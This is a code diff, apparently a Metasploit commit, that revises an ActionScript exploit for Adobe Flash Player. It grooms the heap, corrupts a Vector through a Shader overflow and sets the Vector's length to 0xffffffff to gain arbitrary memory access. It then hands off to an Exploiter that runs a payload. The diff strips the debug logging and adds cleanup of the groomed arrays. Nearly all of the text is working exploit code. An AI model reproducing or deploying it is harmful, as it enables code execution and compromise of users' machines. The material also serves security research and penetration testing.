1
- //compile with AIR SDK 13.0: mxmlc Exploit.as -o Exploit.swf
1
+ //compile with AIR SDK 13.0: mxmlc Exploit.as -o msf.swf
2
+ // It uses original code from @hdarwin89 for exploitation using ba's and vectors
3
+
2
4
package {
3
5
import flash.display.Sprite
4
6
import flash.utils.ByteArray
@@ -43,7 +45,6 @@ package {
43
45
var corrupted_vector_idx: int = - 1
44
46
45
47
// Memory massage
46
- Logger. log ("Memory massage" )
47
48
var array_length: uint = 0x10000
48
49
var vector_size: uint = 34
49
50
var array: Array = new Array ()
@@ -67,23 +68,14 @@ package {
67
68
{
68
69
array[ (i - (2 * (j % 2 )))] . length = 0x0100
69
70
array[ (i - (2 * (j % 2 )))][ 0 ] = 0xdeedbeef
70
- array[ (i - (2 * (j % 2 )))][ 1 ] = 0xdeadbeef
71
71
array[ (i - (2 * (j % 2 )))][ 2 ] = (i - (2 * (j % 2 )))
72
72
i = (i + 28 )
73
73
j++
74
74
}
75
75
76
76
// Overflow and Search for corrupted vector
77
- Logger. log ("Overflow and Search for corrupted vector" )
78
77
var shadba: ByteArray = (new this . Shad() as ByteArray )
79
- shadba. position = 232
80
- if (Capabilities . os . indexOf ("Windows 8" ) >= 0 )
81
- {
82
- shadba. writeUnsignedInt (2472 )
83
- }
84
78
shadba. position = 0
85
-
86
- Logger. log ("corrupting" )
87
79
88
80
shader = new Shader()
89
81
try
@@ -103,38 +95,37 @@ package {
103
95
}
104
96
105
97
if (corrupted_vector_idx == - 1 ) {
106
- Logger. log ("Exploit - Corrupted vector not found." )
107
98
return
108
99
}
109
100
110
101
for (i = 0 ; i < array[ corrupted_vector_idx] . length ; i++ ) {
111
102
if (array[ corrupted_vector_idx][ i] == 0x0100 && array[ corrupted_vector_idx][ i + 2 ] == 0xdeedbeef ) {
112
- Logger. log ("w00t!, found, corrupting " )
113
103
array[ corrupted_vector_idx][ i] = 0xffffffff
114
104
offset = i
115
105
break
116
106
}
117
107
}
118
108
119
109
if (offset == - 1 ) {
120
- Logger. log ("Exploit - Secondary vector not corrupted" )
121
110
return
122
111
}
123
112
124
113
125
114
for (i = 0 ; i < array. length ; i++ ) {
126
115
if (array[ i] . length == 0xffffffff ) {
127
- Logger. log ("super corrupted found" )
128
116
uv = array[ i]
129
- Logger. log ("corrupted vector before fixing : " + array[ corrupted_vector_idx] . length . toString ())
130
117
uv[ 0x3ffffffc - offset ] = 34
131
- Logger. log ("corrupted vector before fixing : " + array[ corrupted_vector_idx] . length . toString ())
132
118
}
133
119
}
134
- Logger. log ('done? Exploiting!' )
120
+
121
+ for (i = 0 ; i < array. length ; i++ ) {
122
+ if (array[ i] . length != 0xffffffff ) {
123
+ delete (array[ i] )
124
+ array[ i] = null
125
+ }
126
+ }
127
+
135
128
exploiter = new Exploiter(this , platform, os , payload, uv)
136
- // uv[0x3ffffffe] = 0x100
137
- // Logger.log(uv.length.toString())
138
129
}
139
130
}
140
- }//package
131
+ }
0 commit comments